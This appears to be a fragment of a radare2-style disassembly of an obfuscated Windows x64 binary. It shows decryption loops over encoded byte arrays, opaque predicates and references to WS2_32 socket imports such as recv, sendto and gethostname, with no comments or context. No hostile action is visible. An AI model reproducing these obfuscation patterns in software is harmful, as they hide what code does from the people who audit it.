jmp 0x14008caee
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14008c592
movabs rdx, 0xf9838527851c0b9c
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x44
jmp 0x14008caa3
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14008c924
movabs rdx, 0xe44161eed285cf90
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14008cc7d
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008c956
movabs rdx, 0x69078b2af4edb4e0
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x20
jmp 0x14008caa3
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14008c977
movabs rdx, 0x2b6a9fc90621a788
mov ecx, 0x24
jmp 0x14008caee
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008c9a7
movabs rdx, 0xb030c90528898cd8
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x14008ca29
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008c5cf
movabs rcx, 0x7293dda339bd7f80
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x80
dec rdi
inc rdi
movabs rdx, 0xc11fefad89327b4c
jmp 0x14008c272
mov byte [rbp + rdi + 0xf28], r10b
inc rdi
movabs rdx, 0xc11fefad89327b4c
jmp 0x14008c272
movabs rdx, 0x7c20301b7e8d4a20
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rdi + 0xf28]
add r10b, r11b
add r10b, dl
movabs rdx, 0x5d51ba6a87274374
add rdx, rdi
movzx eax, dl
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x2c
add cl, dl
add cl, r11b
mov byte [rbp + rdi + 0xf28], cl
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0xc11fefad89327b4c
jmp 0x14008c272
movabs rdx, 0x3e8344b98fc13cc8
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, byte [rbp + rdi + 0xf28]
sub r10b, 0x78
add r10b, dl
movabs rdx, 0x1fb4cf08985b361c
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xf28], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x14008cc25
movabs rdx, 0x762d4301bd923d4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
add rdx, rdi
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0xc11fefad89327b4c
jmp 0x14008c272
movabs rcx, 0xc0399655e83d4bdc
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 4
dec rdi
inc rdi
movabs rdx, 0xc11fefad89327b4c
jmp 0x14008c272
movabs rdx, 0x3b736d19c5d5668c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x14008cb7a
movabs rdx, 0xb6ad43dda36d813c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, rdi
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movabs rdx, 0x9aeea5cc75f350cc
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rdi + 0xf28], cl
inc r9
dec rdi
inc rdi
movabs rdx, 0xc11fefad89327b4c
jmp 0x14008c272
movabs rcx, 0x31e71aa181059bec
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x74
dec rdi
inc rdi
movabs rdx, 0xc11fefad89327b4c
jmp 0x14008c272
mov r11, rbx
movabs rcx, 0x65f7b38b2b01dea4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x7c
movabs rcx, 0xe65957a0f52f70
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x10
add r11b, cl
mov byte [rbp + rdi + 0xf28], r11b
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
jmp 0x14008cc80
movabs rdx, 0xa3949eed19cdebfc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movzx eax, byte [rbp + rdi + 0xf28]
add rax, r9
add rdi, rax
inc rdi
movabs rdx, 0xc11fefad89327b4c
jmp 0x14008c272
movabs rcx, 0xfebcdb0f77fe88a4
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x7c
jmp 0x14008c270
movabs rdx, 0x3c59c67166ca95fc
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14008c24a
lea rcx, [rbp + 0x1739398]
jmp 0x14008cd0d
lea rcx, [rbp + 0x8d8cec]
jmp 0x14008cd0d
lea rcx, [rbp + 0xf28]
mov dword [rbp + 0x1028], 0x41200000
mov dword [rbp + 0x1030], 0x3f800000
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0x1028]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1030]
mov r8, r14
mov edx, 8
call fcn.140037e30
call fcn.1400408a0
mov byte [rbp + 0xf50], 0x99
mov byte [rbp + 0xf51], Ordinal_79
mov byte [rbp + 0xf52], 0x40
mov byte [rbp + 0xf53], reloc.WLDAP32.dll_Ordinal_211
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf54], xmm0
mov qword [rbp + 0xf64], rax
mov dword [rbp + 0xf6c], eax
mov word [rbp + 0xf70], ax
mov byte [rbp + 0xf72], al
movabs rdi, 0xb2a6c8166a6bec1f
movabs rsi, 0xcf43beacc068d1c1
movabs r15, 0x8269773e05115463
movabs r14, 0xca70d030b64628fb
movabs r13, 0xc59de1b4ac238035
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14008db42
movzx r11d, byte [rbp + rbx + 0xf50]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14008db36
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008ce33
lea rcx, [rbx + r15]
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
add r10b, 0x4b
jmp 0x14008ce70
je 0x14008daae
inc rax
cmp r8, rax
je 0x14008da44
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008d9e3
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008d9b8
lea rax, [r9 + 7]
cmp r8, rax
je 0x14008d964
nop dword [rax]
cmp r9, rbx
ja 0x14008db2a
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x14008cea5
lea rdx, [rbx + rdi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x27
add r10b, dl
jmp 0x14008cef0
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008d940
inc rax
cmp r8, rax
je 0x14008d913
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008d8ee
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008d8b9
lea rax, [r9 + 8]
cmp r8, rax
je 0x14008d884
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14008d4b8
nop dword [rax]
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008d48f
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14008d461
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008d432
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14008d40a
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14008d3e5
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14008d3ac
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14008d388
lea rax, [r9 + 8]
cmp r8, rax
je 0x14008d35f
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14008d329
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008cf00
lea r8, [r9 + 0x42]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14008db06
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14008dae2
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14008d0bb
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14008d0a0
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14008d081
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14008d2c3
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14008d264
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14008d214
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14008d1e4
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14008cf00
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x10]
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14008d1ae
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14008d185
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14008d160
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14008d127
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14008d102
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14008d0d9
lea r8, [r9 + 0x1000]
lea r9, [r8 + 5]
jmp 0x14008cf00
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x47
add r10b, dl
jmp 0x14008cef0
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x23
jmp 0x14008ce70
lea rdx, [rbx + r13]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub dl, 0x73
add r10b, dl
jmp 0x14008cdf5
movabs rdx, 0x86bd753f34f766a6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14008da02
movabs rcx, 0x81ea86c32ad4bde0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
jmp 0x14008da2c
movabs rdx, 0x7d17984720b2151a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008cde2
movabs rdx, 0x7844a9cb168f6c54
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x4c
jmp 0x14008d849
movabs rdx, 0x7371bb4f0c6cc38e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008da65
movabs rcx, 0x6e9eccd3024a1ac8
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x78
movzx eax, byte [rbp + rbx + 0xf50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008cde2
movabs rcx, 0xe28f789ce8f374d9
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x11
mov byte [rbp + rbx + 0xf50], r10b
inc rbx
jmp 0x14008cde2
movabs rdx, 0xddbc8a20ded0cc13
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x7b
add r10b, dl
cmp r9, 0x20
jb 0x14008d204
movabs rcx, 0xf60582b604e79f72
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x3c]
jmp 0x14008d983
movabs rcx, 0xd8e99ba4d4ae234d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1b
cmp r8, 0x80
jae 0x14008d7ef
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x14008d6d7
movabs rdx, 0xc5c831dd9f8d07b6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 3
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14008d234
movabs rdx, 0xd416ad28ca8b7a87
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x4f
add r10b, dl
lea rax, [r8 + r9]
cmp rax, 5
je 0x14008d820
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x14008d5f4
movabs rdx, 0x132169c735211b97
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x21
add r10b, dl
jmp 0x14008d283
movabs rcx, 0x2fe8b0867e8788ba
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x16
movzx eax, byte [rbp + rbx + 0xf50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008cde2
movabs rdx, 0x2b15c20a7464dff4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14008da65
movabs rcx, 0x2642d38e6a42372e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x42
jmp 0x14008d84c
movabs rdx, 0x216fe512601f8e68
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008cde2
movabs rcx, 0x1c9cf69655fce5a2
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x6e
jmp 0x14008da2c
movabs rdx, 0x17ca081a4bda3cdc
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 4
add r10b, dl
jmp 0x14008da02
movabs rdx, 0x12f7199e41b79416
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x14008cde2
movabs rcx, 0xe242b223794eb50
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x30
inc r9
dec rbx
inc rbx
jmp 0x14008cde2
movabs rdx, 0x9513ca62d72428a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14008d983
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x14008d4e0
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x4b
jmp 0x14008d2e6
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008d527
movabs rdx, 0x654d902cd4d7d83e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xf50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008cde2
inc rax
cmp r8, rax
jne 0x14008d557
movabs rcx, 0x6a207ea8defa8104
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1c
jmp 0x14008da65
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008d589
movabs rcx, 0x78994a1cfd627b56
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x5a
jmp 0x14008da2c
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008d5bf
movabs rdx, 0x7d6c38990785241c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14008da02
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14008d2e6
movabs rdx, 0x8be5040d25ed1e6e
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 2
add r10b, dl
jmp 0x14008d983
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008d625
movabs rcx, 0x17f458433f43c45d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x75
jmp 0x14008d983
inc rax
cmp r8, rax
jne 0x14008d65f
movabs rcx, 0x1cc746bf49666d23
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0xb
inc r9
dec rbx
inc rbx
jmp 0x14008cde2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008d694
movabs rdx, 0x266d23b75dabbeaf
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x37
add r10b, dl
jmp 0x14008da02
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14008d283
movabs rcx, 0x3e8bcc2390590a8d
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x25
movzx eax, byte [rbp + rbx + 0xf50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008cde2
jne 0x14008d713
movabs rcx, 0xca9b2059a9afb07c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x64
movzx eax, byte [rbp + rbx + 0xf50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008cde2
inc rax
cmp r8, rax
jne 0x14008d748
movabs rdx, 0xcf6e0ed5b3d25942
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008da65
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008d77d
movabs rdx, 0xe2b9c8c5dc5cfc5a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x76
add r10b, dl
jmp 0x14008da02
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008d7b9
movabs rdx, 0xe78cb741e67fa520
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x14008cde2
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14008d237
movabs rdx, 0xf1329439fac4f6ac
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008d983
movabs rdx, 0xfad871320f0a4838
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0xf50]
add r10b, dl
add r10b, r11b
jmp 0x14008da02
movabs rdx, 0xffab5fae192cf0fe
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 7
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0xf50]
add r10b, r11b
add r10b, dl
movabs rdx, 0x8214d6ec1e3e4561
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x59
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xf50], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x14008da65
movabs rcx, 0xde112a72c5a3db15
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x6d
movzx eax, byte [rbp + rbx + 0xf50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008cde2
movabs rcx, 0xcf985efea73be0c3
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x55
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008cde2
movabs rcx, 0xcac570829d1937fd
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x15
jmp 0x14008da2c
movabs rcx, 0xbc4ca50e7eb13dab
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x53
inc r9
dec rbx
inc rbx
jmp 0x14008cde2
movabs rcx, 0xb779b692748e94e5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x43
jmp 0x14008d983
movabs rcx, 0xadd3d99a60494359
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6f
movabs rcx, 0x786ef9f409f8f3d5
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x2d
add r11b, cl
mov byte [rbp + rbx + 0xf50], r11b
inc r9
dec rbx
inc rbx
jmp 0x14008cde2
movabs rcx, 0xa42dfca24c03f1cd
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x65
dec rbx
inc rbx
jmp 0x14008cde2
movabs rcx, 0x9f5b0e2641e14907
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x31
movabs rcx, 0x7d41e870141b9c9b
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x3d
add r11b, cl
add r11b, r10b
mov byte [rbp + rbx + 0xf50], r11b
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008cde2
mov r11, rdx
movabs rcx, 0x8c0f54361956a5ef
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x77
movabs rcx, 0x47e4e2a234f99c4
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x5c
add r11b, cl
mov byte [rbp + rbx + 0xf50], r11b
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xf50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008cde2
movabs rcx, 0x873c65ba0f33fd29
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x1f
movzx eax, byte [rbp + rbx + 0xf50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008cde2
movabs rcx, 0xc0caf338a200d76f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 9
jmp 0x14008cde0
movabs rcx, 0xbbf804bc97de2ea9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x61
jmp 0x14008cdd0
lea rcx, [rbp + 0x164c1d4]
jmp 0x14008db49
lea rcx, [rbp + 0xb61637]
jmp 0x14008db49
lea rcx, [rbp + 0xf50]
xor r8d, r8d
xor edx, edx
call fcn.140040820
test al, al
je 0x14009a6e4
lea rcx, str.General
call fcn.140036770
lea rdx, [0x140229f80]
lea rcx, [rbp + 0x6c8]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x140230160]
call fcn.14006a650
mov rcx, rax
call fcn.14006ba40
mov rdi, rax
mov byte [rbp + 0x708], 0x99
mov byte [rbp + 0x709], 0xb7
mov byte [rbp + 0x70a], 0xa3
mov byte [rbp + 0x70b], 0xa1
mov byte [rbp + 0x70c], 0xb6
mov byte [rbp + 0x70d], 0xa2
mov byte [rbp + 0x70e], 0x7c
mov byte [rbp + 0x70f], 0xb1
mov byte [rbp + 0x710], 0xa5
mov byte [rbp + 0x711], Ordinal_217
mov byte [rbp + 0x712], Ordinal_217
mov byte [rbp + 0x713], 0xb8
mov byte [rbp + 0x714], 0xae
mov byte [rbp + 0x715], Ordinal_217
mov byte [rbp + 0x716], 0x54
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x717], xmm0
mov dword [rbp + 0x727], eax
movabs rsi, 0x807d0d29bd2fb967
movabs r13, 0x61e55f5cc0e768b
movabs r14, 0x5278ac75cbda5d79
movabs r15, 0x463c008a33bd7063
movzx edx, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14008e9fe
movzx r11d, byte [rbp + rbx + 0x708]
mov r10, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14008e9f2
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008dca2
lea rcx, [rbx + r13]
mov rax, rcx
and rax, r11
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, r11
add dl, 0x33
jmp 0x14008dcd0
je 0x14008e96b
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008e8d2
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008e877
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008e827
nop
cmp r9, rbx
ja 0x14008e9e6
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x14008dd00
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x2f
jmp 0x14008dd50
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008e802
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008e7d9
lea rcx, [r9 + 3]
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008e7a3
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008e771
cmp r8, rcx
je 0x14008e74e
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008e71a
nop
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14008e3c2
nop dword [rax]
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14008e39d
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14008e36e
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008e344
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14008e31e
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14008e2e9
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14008e2b6
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008e290
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14008e26d
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14008e236
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14008dd60
lea r8, [r9 + 1]
lea r9, [r8 + 0x200]
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14008e9c2
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14008e99f
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14008df4f
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14008df35
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14008df1b
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14008e1d3
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14008e17a
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14008e12e
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14008e100
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14008dd60
lea r8, [r9 + 0x28]
lea r9, [r8 + 3]
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14008e0c9
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14008e0a6
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14008e080
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14008e04b
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14008e016
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14008dff0
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14008dfc7
lea rax, [r9 + 0x3e8]
cmp r8, rax
